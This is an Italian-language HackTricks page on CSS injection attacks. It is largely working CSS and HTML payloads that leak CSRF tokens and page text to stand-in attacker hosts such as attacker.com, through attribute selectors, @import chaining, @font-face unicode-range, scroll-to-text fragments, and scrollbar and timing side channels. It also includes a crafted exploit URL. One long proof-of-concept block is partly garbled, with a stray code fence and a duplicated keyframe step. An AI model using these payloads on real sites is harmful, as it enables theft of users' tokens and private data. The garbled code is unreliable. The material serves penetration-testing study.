hacktricks/pentesting-web/xs-search/css-injection
2024-03-26 15:46:05 +00:00
..
css-injection-code.md Translated ['README.md', 'forensics/basic-forensic-methodology/partition 2024-03-09 13:16:23 +00:00
README.md Translated ['forensics/basic-forensic-methodology/partitions-file-system 2024-03-26 15:46:05 +00:00

Iniezione CSS

Impara l'hacking su AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}


Iniezione CSS

Selettore di attributi

I selettori CSS sono creati per corrispondere ai valori degli attributi name e value di un elemento input. Se l'attributo value dell'elemento input inizia con un carattere specifico, viene caricata una risorsa esterna predefinita:

input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}

Tuttavia, questo approccio presenta una limitazione quando si tratta di elementi di input nascosti (type="hidden") perché gli elementi nascosti non caricano sfondi.

Bypass per Elementi Nascosti

Per aggirare questa limitazione, è possibile mirare a un elemento fratello successivo utilizzando il combinatore di fratelli generali ~. La regola CSS si applica quindi a tutti i fratelli che seguono l'elemento di input nascosto, causando il caricamento dell'immagine di sfondo:

input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Un esempio pratico di sfruttare questa tecnica è dettagliato nello snippet di codice fornito. Puoi visualizzarlo qui.

Prerequisiti per l'Injection CSS

Perché la tecnica di Injection CSS sia efficace, devono essere soddisfatte determinate condizioni:

  1. Lunghezza del Payload: Il vettore di injection CSS deve supportare payload sufficientemente lunghi per ospitare i selettori creati.
  2. Rivalutazione del CSS: Dovresti avere la capacità di inquadrare la pagina, il che è necessario per attivare la rivalutazione del CSS con i payload appena generati.
  3. Risorse Esterne: La tecnica presuppone la capacità di utilizzare immagini ospitate esternamente. Questo potrebbe essere limitato dalla Politica di Sicurezza dei Contenuti (CSP) del sito.

Selettore di Attributo Cieco

Come spiegato in questo post, è possibile combinare i selettori :has e :not per identificare contenuti anche da elementi ciechi. Questo è molto utile quando non si ha idea di cosa ci sia all'interno della pagina web che carica l'injection CSS.
È anche possibile utilizzare quei selettori per estrarre informazioni da diversi blocchi dello stesso tipo come in:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>

Combinate questo con la seguente tecnica @import, è possibile esfiltrare molte informazioni utilizzando l'iniezione di CSS dalle pagine cieche con blind-css-exfiltration.

@import

La tecnica precedente ha alcuni svantaggi, controlla i prerequisiti. Devi essere in grado di inviare più link alla vittima, oppure devi essere in grado di inserire l'iframe nella pagina vulnerabile all'iniezione di CSS.

Tuttavia, c'è un'altra tecnica intelligente che utilizza CSS @import per migliorare la qualità della tecnica.

Questa è stata mostrata per la prima volta da Pepe Vila e funziona in questo modo:

Invece di caricare la stessa pagina una volta e ancora con decine di payload diversi ogni volta (come nel caso precedente), caricheremo la pagina solo una volta e solo con un import verso il server degli attaccanti (questo è il payload da inviare alla vittima):

@import url('//attacker.com:5001/start?');
  1. L'importazione riceverà uno script CSS dagli attaccanti e il browser lo caricherà.
  2. La prima parte dello script CSS che l'attaccante invierà è un altro @import al server degli attaccanti.
  3. Il server degli attaccanti non risponderà ancora a questa richiesta, poiché vogliamo rivelare alcuni caratteri e poi rispondere a questa importazione con il payload per rivelare quelli successivi.
  4. La seconda e più grande parte del payload sarà un payload di perdita di selettore di attributo.
  5. Questo invierà al server degli attaccanti il primo carattere del segreto e l'ultimo.
  6. Una volta che il server degli attaccanti avrà ricevuto il primo e l'ultimo carattere del segreto, risponderà all'importazione richiesta nel passaggio 2.
  7. La risposta sarà esattamente la stessa dei passaggi 2, 3 e 4, ma questa volta cercherà di trovare il secondo carattere del segreto e poi il penultimo.

L'attaccante seguirà quel loop fino a riuscire a rivelare completamente il segreto.

Puoi trovare il codice di Pepe Vila per sfruttare questo qui oppure puoi trovare quasi lo stesso codice ma commentato qui.

{% hint style="info" %} Lo script cercherà di scoprire 2 caratteri alla volta (dall'inizio e dalla fine) perché il selettore di attributi consente di fare cose come:

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

Questo permette allo script di rivelare più velocemente il segreto. {% endhint %}

{% hint style="warning" %} A volte lo script non rileva correttamente che il prefisso + suffisso scoperto è già la bandiera completa e continuerà in avanti (nel prefisso) e all'indietro (nel suffisso) e ad un certo punto si bloccherà.
Non preoccuparti, controlla semplicemente l'output perché puoi vedere la bandiera lì. {% endhint %}

Altri selettori

Altri modi per accedere alle parti del DOM con i selettori CSS:

  • .classe-da-cercare:nth-child(2): Questo cercherà il secondo elemento con classe "classe-da-cercare" nel DOM.
  • Selettore :empty: Usato ad esempio in questo writeup:
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }

XS-Search basato sull'errore

Riferimento: Attacco basato su CSS: Abuso di unicode-range di @font-face, PoC di XS-Search basato sull'errore di @terjanq

L'intenzione generale è utilizzare un font personalizzato da un endpoint controllato e assicurarsi che il testo (in questo caso, 'A') venga visualizzato con questo font solo se la risorsa specificata (favicon.ico) non può essere caricata.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Utilizzo dei Caratteri Personalizzati:
  • Un carattere personalizzato è definito utilizzando la regola @font-face all'interno di un tag <style> nella sezione <head>.
  • Il carattere è chiamato poc e viene recuperato da un endpoint esterno (http://attacker.com/?leak).
  • La proprietà unicode-range è impostata su U+0041, mirando al carattere Unicode specifico 'A'.
  1. Elemento Oggetto con Testo di Riserva:
  • Un elemento <object> con id="poc0" è creato nella sezione <body>. Questo elemento cerca di caricare una risorsa da http://192.168.0.1/favicon.ico.
  • Il font-family per questo elemento è impostato su 'poc', come definito nella sezione <style>.
  • Se la risorsa (favicon.ico) non riesce a caricare, il contenuto di riserva (la lettera 'A') all'interno del tag <object> viene visualizzato.
  • Il contenuto di riserva ('A') verrà reso utilizzando il carattere personalizzato poc se la risorsa esterna non può essere caricata.

Stilizzazione del Frammento di Testo di Scorrimento

Il pseudo-classe :target viene utilizzato per selezionare un elemento mirato da un frammento di URL, come specificato nella specifica CSS Selectors Level 4. È fondamentale comprendere che ::target-text non corrisponde ad alcun elemento a meno che il testo non sia esplicitamente mirato dal frammento.

Sorge una preoccupazione per la sicurezza quando gli attaccanti sfruttano la funzionalità del frammento di testo di scorrimento, consentendo loro di confermare la presenza di testo specifico su una pagina web caricando una risorsa dal loro server tramite un'iniezione HTML. Il metodo coinvolge l'inserimento di una regola CSS come questa:

:target::before { content : url(target.png) }

In tali scenari, se il testo "Amministratore" è presente sulla pagina, la risorsa target.png viene richiesta dal server, indicando la presenza del testo. Un'istanza di questo attacco può essere eseguita attraverso un URL appositamente creato che incorpora il CSS iniettato insieme a un frammento di scorrimento al testo:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Qui, l'attacco manipola l'iniezione HTML per trasmettere il codice CSS, puntando sul testo specifico "Amministratore" attraverso il frammento Scroll-to-text (#:~:text=Amministratore). Se il testo viene trovato, la risorsa indicata viene caricata, segnalando involontariamente la sua presenza all'attaccante.

Per la mitigazione, si dovrebbero notare i seguenti punti:

  1. Corrispondenza STTF Limitata: Il Frammento Scroll-to-text (STTF) è progettato per corrispondere solo a parole o frasi, limitando quindi la sua capacità di rivelare segreti o token arbitrari.
  2. Limitazione ai Contesti di Navigazione di Alto Livello: STTF opera esclusivamente nei contesti di navigazione di alto livello e non funziona all'interno degli iframe, rendendo qualsiasi tentativo di sfruttamento più evidente per l'utente.
  3. Necessità di Attivazione Utente: STTF richiede un gesto di attivazione dell'utente per funzionare, il che significa che gli sfruttamenti sono fattibili solo attraverso navigazioni avviate dall'utente. Questo requisito mitiga considerevolmente il rischio che gli attacchi vengano automatizzati senza interazione dell'utente. Tuttavia, l'autore del post sul blog evidenzia condizioni specifiche e bypass (ad esempio, ingegneria sociale, interazione con estensioni del browser diffuse) che potrebbero agevolare l'automazione dell'attacco.

La consapevolezza di questi meccanismi e delle potenziali vulnerabilità è fondamentale per mantenere la sicurezza web e proteggersi da tattiche sfruttative simili.

Per ulteriori informazioni, consulta il report originale: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Puoi controllare un exploit che utilizza questa tecnica per un CTF qui.

@font-face / unicode-range

È possibile specificare font esterni per valori unicode specifici che verranno raccolti solo se quei valori unicode sono presenti nella pagina. Ad esempio:

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

Esfiltrazione del nodo di testo (I): legature

Riferimento: Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację

La tecnica descritta coinvolge l'estrazione di testo da un nodo sfruttando le legature dei font e monitorando i cambiamenti di larghezza. Il processo coinvolge diversi passaggi:

  1. Creazione di Font Personalizzati:
  • I font SVG sono creati con glifi che hanno un attributo horiz-adv-x, che imposta una larghezza elevata per un glifo che rappresenta una sequenza di due caratteri.
  • Esempio di glifo SVG: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, dove "XY" indica una sequenza di due caratteri.
  • Questi font vengono poi convertiti nel formato woff utilizzando fontforge.
  1. Rilevamento dei Cambiamenti di Larghezza:
  • Il CSS è utilizzato per garantire che il testo non venga a capo (white-space: nowrap) e per personalizzare lo stile della barra di scorrimento.
  • L'apparizione di una barra di scorrimento orizzontale, stilizzata in modo distintivo, funge da indicatore (oracolo) che una specifica legatura, e quindi una specifica sequenza di caratteri, è presente nel testo.
  • Il CSS coinvolto:
body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. Processo di Sfruttamento:
  • Passo 1: Vengono creati font per coppie di caratteri con larghezza sostanziale.
  • Passo 2: Viene utilizzato un trucco basato sulla barra di scorrimento per rilevare quando il glifo di larghezza elevata (legatura per una coppia di caratteri) viene renderizzato, indicando la presenza della sequenza di caratteri.
  • Passo 3: Una volta rilevata una legatura, vengono generati nuovi glifi che rappresentano sequenze di tre caratteri, incorporando la coppia rilevata e aggiungendo un carattere precedente o successivo.
  • Passo 4: Viene effettuato il rilevamento della legatura di tre caratteri.
  • Passo 5: Il processo si ripete, rivelando progressivamente l'intero testo.
  1. Ottimizzazione:
  • Il metodo attuale di inizializzazione utilizzando <meta refresh=... non è ottimale.
  • Un approccio più efficiente potrebbe coinvolgere il trucco @import del CSS, migliorando le prestazioni dello sfruttamento.

Esfiltrazione del nodo di testo (II): leak del set di caratteri con un font predefinito (senza necessità di risorse esterne)

Riferimento: PoC using Comic Sans by @Cgvwzq & @Terjanq

Questo trucco è stato rilasciato in questa discussione di Slackers. Il set di caratteri utilizzato in un nodo di testo può essere esfiltrato utilizzando i font predefiniti installati nel browser: non sono necessari font esterni o personalizzati.

Il concetto ruota attorno all'utilizzo di un'animazione per espandere incrementalmente la larghezza di un div, consentendo a un carattere alla volta di passare dalla parte 'suffisso' del testo alla parte 'prefisso'. Questo processo divide efficacemente il testo in due sezioni:

  1. Prefisso: La linea iniziale.
  2. Suffisso: Le linee successive.

Le fasi di transizione dei caratteri apparirebbero come segue:

C
ADB

CA
DB

CAD
B

CADB

Durante questa transizione, viene utilizzato il trucco dell'intervallo unicode per identificare ogni nuovo carattere man mano che si unisce al prefisso. Ciò è ottenuto passando il font a Comic Sans, che è notevolmente più alto del font predefinito, attivando di conseguenza una barra di scorrimento verticale. L'apparizione di questa barra di scorrimento rivela indirettamente la presenza di un nuovo carattere nel prefisso.

Anche se questo metodo consente di rilevare i caratteri unici man mano che appaiono, non specifica quale carattere viene ripetuto, solo che si è verificata una ripetizione.

{% hint style="info" %} Fondamentalmente, l'intervallo unicode viene utilizzato per rilevare un carattere, ma poiché non vogliamo caricare un font esterno, dobbiamo trovare un altro modo.
Quando il carattere viene trovato, viene assegnato il font Comic Sans preinstallato, che lo rende più grande e attiva una barra di scorrimento che esfiltrerà il carattere trovato. {% endhint %}

Controlla il codice estratto dal PoC:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
```css
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Esfiltrazione del nodo di testo (III): illecita il set di caratteri con un font predefinito nascondendo elementi (senza richiedere risorse esterne)

Riferimento: Questo è menzionato come una soluzione non riuscita in questo articolo

Questo caso è molto simile al precedente, tuttavia, in questo caso l'obiettivo di rendere specifici caratteri più grandi di altri è nascondere qualcosa come un pulsante per evitare che venga premuto dal bot o un'immagine che non verrà caricata. Quindi potremmo misurare l'azione (o l'assenza di azione) e sapere se un determinato carattere è presente all'interno del testo.

Esfiltrazione del nodo di testo (III): illecita il set di caratteri tramite il tempo di cache (senza richiedere risorse esterne)

Riferimento: Questo è menzionato come una soluzione non riuscita in questo articolo

In questo caso, potremmo provare a esfiltrare se un carattere è presente nel testo caricando un font falso dalla stessa origine:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

Se c'è una corrispondenza, il font verrà caricato da /static/bootstrap.min.css?q=1. Anche se non verrà caricato correttamente, il browser dovrebbe memorizzarlo nella cache, e anche se non c'è cache, c'è un meccanismo 304 not modified, quindi la risposta dovrebbe essere più veloce rispetto ad altre cose.

Tuttavia, se la differenza di tempo tra la risposta memorizzata nella cache e quella non memorizzata non è abbastanza grande, ciò non sarà utile. Ad esempio, l'autore ha menzionato: Tuttavia, dopo i test, ho scoperto che il primo problema è che la velocità non è molto diversa, e il secondo problema è che il bot utilizza il flag disk-cache-size=1, il che è davvero premuroso.

Esfiltrazione del nodo di testo (III): leak del set di caratteri tramite il caricamento temporizzato di centinaia di "font" locali (senza richiedere risorse esterne)

Riferimento: Questo è menzionato come una soluzione non riuscita in questo articolo

In questo caso è possibile indicare al CSS di caricare centinaia di font falsi dalla stessa origine quando si verifica una corrispondenza. In questo modo è possibile misurare il tempo impiegato e scoprire se un carattere appare o meno con qualcosa del genere:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

E il codice del bot appare così:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

Quindi, se il font non corrisponde, ci si aspetta che il tempo di risposta durante la visita al bot sia di circa 30 secondi. Tuttavia, se c'è un corrispondenza di font, verranno inviate molteplici richieste per recuperare il font, causando un'attività continua sulla rete. Di conseguenza, ci vorrà più tempo per soddisfare la condizione di stop e ricevere la risposta. Pertanto, il tempo di risposta può essere utilizzato come indicatore per determinare se c'è una corrispondenza di font.

Riferimenti

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: